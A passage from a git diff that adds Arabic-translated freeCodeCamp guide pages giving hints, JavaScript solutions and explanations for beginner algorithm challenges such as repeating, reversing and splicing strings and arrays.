+*   [Array.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
new file mode 100644
index 0000000000..40ec7b1c81
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
@@ -0,0 +1,119 @@
+---
+title: Repeat a String Repeat a String
+localeTitle: كرر سلسلة يكرر سلسلة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+البرنامج بسيط جداً ، وعلينا أن نأخذ متغيراً ونعيد هذا المتغير إلى تكرار قدر معين من المرات. لا حاجة لإضافة مساحة أو أي شيء ، فقط استمر في تكرارها في سلسلة واحدة.
+
+#### روابط ذات صلة
+
+*   [كائن السلسلة العالمية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+لا يمكنك تحرير السلاسل ، ستحتاج إلى إنشاء متغير لتخزين السلسلة الجديدة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+قم بإنشاء حلقة لتكرار الكود عدة مرات حسب الحاجة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+جعل المتغير إنشاء تخزين القيمة الحالية وإلحاق الكلمة إليها.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function repeatStringNumTimes(str, num) { 
+  var accumulatedStr = ''; 
+ 
+  while (num > 0) { 
+    accumulatedStr += str; 
+    num--; 
+  } 
+ 
+  return accumulatedStr; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/19)
+
+### شرح الشفرة:
+
+*   قم بإنشاء متغير سلسلة فارغ لتخزين الكلمة المكررة.
+*   استخدم حلقة while (أثناء) أو للحلقة لتكرار التعليمة البرمجية عدة مرات حسب الحاجة وفقًا لعدد `num`
+*   ثم يجب علينا فقط إضافة السلسلة إلى المتغير الذي تم إنشاؤه في الخطوة الأولى ، وزيادة أو تقليل عدد `num` اعتمادًا على كيفية تعيين الحلقة.
+*   في نهاية الحلقة ، قم بإرجاع المتغير للكلمة المكررة.
+
+#### روابط ذات صلة
+
+*   شبيبة أثناء حلقة
+*   [شبيبة لشرح الحلقات](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function repeatStringNumTimes(str, num) { 
+  if(num < 0) 
+    return ""; 
+  if(num === 1) 
+    return str; 
+  else 
+    return str + repeatStringNumTimes(str, num - 1); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/21)
+
+### شرح الشفرة:
+
+*   يستخدم هذا الحل العودية.
+*   نتحقق مما إذا كانت قيمة `num` سالبة وترجع سلسلة فارغة إذا كانت صحيحة.
+*   ثم نتحقق مما إذا كان يساوي 1 وفي هذه الحالة نقوم بإرجاع السلسلة نفسها.
+*   إن لم يكن، ونضيف إلى سلسلة لدعوة من وظيفتنا مع `num` التي انخفضت بنسبة 1، الأمر الذي سيزيد من آخر `str` وآخر .. حتى في نهاية المطاف `num` هي 1. وتعود تلك العملية برمتها.
+
+#### روابط ذات صلة
+
+*   [وظائف - Recursion](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function repeatStringNumTimes(str, num) { 
+  return num > 0 ? str.repeat(num) : ''; 
+ } 
+ 
+ repeatStringNumTimes("abc", 3); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/85)
+
+### شرح الشفرة:
+
+*   هذا الحل يأخذ نهج إعلاني.
+*   وهو مماثل للحل الثالث ، باستثناء أنه يستخدم نموذج المشغل الثلاثي لبيان `if` .
+
+#### روابط ذات صلة
+
+*   [JS Ternary](https://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
new file mode 100644
index 0000000000..59901e2c8a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
@@ -0,0 +1,160 @@
+---
+title: Return Largest Numbers in Arrays
+localeTitle: أكبر عدد من المصفوفات في المصفوفة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+سوف تحصل على صفيف يحتوي على صفائف فرعية من الأرقام وتحتاج إلى إرجاع صفيف مع أكبر رقم من كل من المصفوفات الفرعية.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+سوف تحتاج إلى تتبع الصفيف مع الإجابة وأكبر عدد من كل مجموعة فرعية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يمكنك العمل مع صفائف متعددة الأبعاد بواسطة `Array[Index][SubIndex]`
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+انتبه جيدًا إلى توقيت تخزين المتغيرات عند العمل مع الحلقات
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحلول في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+**(النهج الإجرائي)**
+
+ `function largestOfFour(arr) { 
+  var results = []; 
+  for (var n = 0; n < arr.length; n++) { 
+    var largestNumber = arr[n][0]; 
+    for (var sb = 1; sb < arr[n].length; sb++) { 
+      if (arr[n][sb] > largestNumber) { 
+        largestNumber = arr[n][sb]; 
+      } 
+    } 
+ 
+    results[n] = largestNumber; 
+  } 
+ 
+  return results; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/734)
+
+### شرح الشفرة:
+
+*   قم بإنشاء متغير لتخزين _النتائج_ كصفيف.
+*   قم بإنشاء حلقة خارجية للتكرار خلال الصفيف الخارجي.
+*   إنشاء متغير ثاني لاحتواء أكبر عدد وتهيئة الرقم الأول. يجب أن يكون هذا خارج حلقة داخلية لذلك لن يتم إعادة تعيينه حتى نجد عددًا أكبر.
+*   إنشاء حلقة داخلية قال للعمل مع المصفوفات الفرعية.
+*   تحقق مما إذا كان عنصر المصفوفة الفرعية أكبر من العدد الأكبر المخزن حاليًا. إذا كان الأمر كذلك ، قم بتحديث الرقم في المتغير.
+*   بعد الحلقة الداخلية ، احفظ أكبر رقم في الموضع المقابل داخل مصفوفة `results` .
+*   وأخيراً أعد صفها.
+
+#### روابط ذات صلة
+
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+**(النهج التعريفي)**
+
+ `function largestOfFour(arr) { 
+  return arr.map(function(group){ 
+    return group.reduce(function(prev, current) { 
+      return (current > prev) ? current : prev; 
+    }); 
+  }); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/733)
+
+### شرح الشفرة:
+
+*   نقوم بتعيين كل العناصر داخل المصفوفة الرئيسية إلى مصفوفة جديدة باستخدام `Array.prototype.map()` وإرجاع هذا المصفوفة `Array.prototype.map()` النهائية
+*   داخل كل صفيف داخلي ، نقوم بتقليل محتوياته إلى قيمة واحدة باستخدام `Array.prototype.reduce()`
+*   تأخذ وظيفة رد الاتصال التي تم تمريرها إلى طريقة تقليل القيمة السابقة والقيمة الحالية وتقارن القيمتين
+*   إذا كانت القيمة الحالية أعلى من القيمة السابقة ، فسيتم تعيينها كقيمة سابقة جديدة للمقارنة مع العنصر التالي داخل الصفيف أو إرجاعها إلى استدعاء أسلوب الخريطة إذا كان العنصر الأخير
+
+#### روابط ذات صلة
+
+*   [Array.prototype.map ()](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.reduce ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [المشغلين التابعين](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+**(النهج التعريفي)**
+
+ `function largestOfFour(arr) { 
+  return arr.map(Function.apply.bind(Math.max, null)); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/17)
+
+### شرح الشفرة:
+
+TL ؛ DR: نحن نبني وظيفة رد اتصال خاص (باستخدام طريقة `Function.bind` ) ، التي تعمل تمامًا مثل `Math.max` ولكن أيضًا لديها القدرة على اتخاذ `Math.max` `Function.prototype.apply` `Math.max` ![:smiley:](https://forum.freecodecamp.com/images/emoji/emoji_one/smiley.png?v=3 ": مبتسم:")
+
+*   نبدأ من خلال رسم الخرائط من خلال العناصر داخل المصفوفة الرئيسية. معنى كل واحدة من المصفوفات الداخلية.
+*   الآن الحاجة إلى وظيفة رد اتصال للعثور على الحد الأقصى من كل مجموعة الداخلية التي تقدمها الخريطة.
+
+لذا نريد إنشاء وظيفة تقوم بعمل `Math.max` وتقبل الإدخال كصفيف (والذي لا يتم افتراضياً عن `Math.max` ).
+
+بعبارة أخرى ، سيكون الأمر لطيفًا وبسيطًا إذا نجح هذا بنفسه:
+
+`Math.max([9, 43, 20, 6]); // Resulting in 43`
+
+للأسف ، لا.
+
+*   للقيام بعمل قبول الوسيطات في شكل مصفوفة ، توجد هذه الطريقة `Function.prototype.apply` ، ولكنها تعقّد الأشياء قليلاً _باستدعاء_ وظيفة _السياق_ .
+
+أي `Math.max.apply(null, [9, 43, 20, 6]);` يمكن استدعاء شيء مثل أسلوب `Max.max` . ما نبحث عنه ... تقريبا.
+
+نحن هنا نعتبر `null` _سياق سياق_ `Function.prototype.apply` حيث لا يحتاج `Math.max` إلى أي سياق.
+
+*   بما أن `arr.map` يتوقع وظيفة رد اتصال ، وليس مجرد تعبير ، فإننا نقوم بإنشاء دالة خارج التعبير السابق باستخدام الأسلوب `Function.bind` .
+    
+*   منذ ، `Function.prototype.apply` هو _طريقة_ ثابتة _لكائن_ `Function` نفسه ، يمكننا الاتصال `Function.prototype.bind` على `Function.prototype.apply` ie `Function.prototype.apply.bind` .
+    
+*   الآن نقوم بتمرير _السياق_ للدعوة `Function.prototype.apply.bind` (في هذه الحالة نريد `Math.max` حتى نتمكن من الحصول على وظائفه).
+    
+*   نظرًا لأن الأسلوب `Function.prototype.apply` المضمن سيتطلب أيضًا سياقًا كوسيطة أولى ، نحتاج إلى تمريره في _سياق_ زائف.
+    
+    *   لذلك ، فإننا نمر `null` `Math.max` ثانية إلى `Function.prototype.apply.bind` الذي يعطي _سياقًا_ لطريقة `Math.max` .
+        
+    *   نظرًا لأن ، `Math.max` مستقل عن أي _سياق_ ، فإنه يتجاهل _السياق_ الزائف المعطى بواسطة استدعاء الأسلوب `Function.prototype.apply` .
+        
+    *   وبالتالي ، يجعل `Function.prototype.apply.bind(Math.max, null)` دالة جديدة تقبل قيم `arr.map` بمعنى المصفوفات الداخلية.
+        
+
+#### روابط ذات صلة
+
+*   [Math.max](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+*   [Function.prototype.apply على DevDocs](http://devdocs.io/#q=js+Function+apply)
+*   [Function.bind على DevDocs](http://devdocs.io/#q=js+Function+bind)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
new file mode 100644
index 0000000000..cf52a65e9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
@@ -0,0 +1,68 @@
+---
+title: Reverse a String
+localeTitle: عكس سلسلة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+نحتاج أن نأخذ السلسلة ونعكسها ، لذلك إذا قرأ "مرحبا" في الأصل ، سيقرأ الآن "olleh". سنحتاج إلى تقسيم السلسلة ، وبالتالي سوف نعمل مع Arrays أيضًا.
+
+#### روابط ذات صلة
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.reverse ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+ابدأ بتجزئة السلسلة بأحرف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+ابحث عن وظيفة مدمجة لعكس سلسلة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+لا تنسى الانضمام إلى الشخصيات مرة أخرى بعد عكسها.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function reverseString(str) { 
+  return str.split('').reverse().join(''); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU)
+
+### شرح الشفرة:
+
+*   هدفنا هو أخذ الإدخال ، `str` ، وإعادته في الاتجاه المعاكس. خطوتنا الأولى هي تقسيم السلسلة بالأحرف باستخدام `split('')` . لاحظ أننا لا نترك أي شيء بين علامات الاقتباس المفردة ، وهذا يخبر الدالة بتقسيم السلسلة لكل حرف.
+    
+*   استخدام الدالة `split()` سيحول السلسلة إلى مجموعة من الأحرف ، ضع ذلك في الاعتبار بينما نمضي قدمًا.
+    
+*   بعد ذلك ، نقوم _بربط_ الدالة `reverse()` ، والتي تأخذ مجموعة من الأحرف الخاصة بنا وتقوم بإرجاعها.
+    
+*   وأخيرًا ، فإننا `join('')` _سلسلة_ `join('')` لإعادة أحرفنا إلى سلسلة. لاحظ مرة أخرى أننا لم نترك أي مسافات في الوسيطة للانضمام ، وهذا يجعل من أن مجموعة الصفوف مرتبطة معاً بكل حرف.
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
new file mode 100644
index 0000000000..519a30f57a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
@@ -0,0 +1,77 @@
+---
+title: Slice and Splice
+localeTitle: شريحة و لصق
+---
+## شريحة و لصق
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+نحتاج إلى نسخ كل عنصر من المصفوفة الأولى إلى المصفوفة الثانية بدءًا من الفهرس n. علينا أيضا أن نتأكد من أن المصفوفات الأصلية ليست متحولة. بمعنى ، لا يمكننا إجراء أي تغييرات على المصفوفات الأصلية.
+
+#### روابط ذات صلة
+
+*   [str.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+*   [str.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+قم بإنشاء نسخة من المصفوفة الثانية داخل الدالة. سيضمن ذلك عدم تحوّل الصفيف الأصلي. يمكن القيام بذلك عن طريق استخدام عملية الشريحة في الصفيف الثاني ، وتعيينه إلى متغير.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+قم بالالتفاف عبر كافة العناصر في الصفيف الأول. لكل عنصر في الصفيف الأول لصقه في المصفوفة المنسوخة في الفهرس المعطى كوسيطة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+زيادة المؤشر بعد إجراء لصق.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function frankenSplice(arr1, arr2, n) { 
+  // It's alive. It's alive! 
+  let localArray = arr2.slice(); 
+  for (let i = 0; i < arr1.length; i++) { 
+    localArray.splice(n, 0, arr1[i]); 
+    n++; 
+  } 
+  return localArray; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU)
+
+### شرح الشفرة:
+
+*   هدفنا هو أخذ جميع العناصر من `arr1` وإدخالها في `arr2` بدءًا من وضع الفهرس `n` . في نفس الوقت يجب علينا أن ensurethat لا `arr` أو `arr2` تم تحور.
+    
+*   باستخدام الدالة `slice()` يمكننا إنشاء نسخة طبق الأصل من `arr2` بدقة وتعيين نتيجة العملية إلى متغير ، `localArray` .
+    
+*   والآن بعد أن أصبح لدينا مجموعة يمكننا التحور عليها ، يمكننا التكرار من خلال كل عنصر في الصفيف الأول. لكل عنصر في الصفيف الأول يمكننا استخدام الدالة `splice()` لإدراج العنصر في فهرس `n` من `localArray` .
+    
+*   نحن زيادة مؤشر `n` تلو الآخر. سيضمن هذا أن كل عنصر من `arr1` يتم إدخاله في `localArray` في موضع الفهرس الصحيح.
+    
+*   وأخيرًا ، نعود إلى `localArray` الوظيفة.
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
new file mode 100644
index 0000000000..143d6320d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
@@ -0,0 +1,144 @@
+---
+title: Title Case a Sentence
+localeTitle: العنوان حالة الجملة
+---
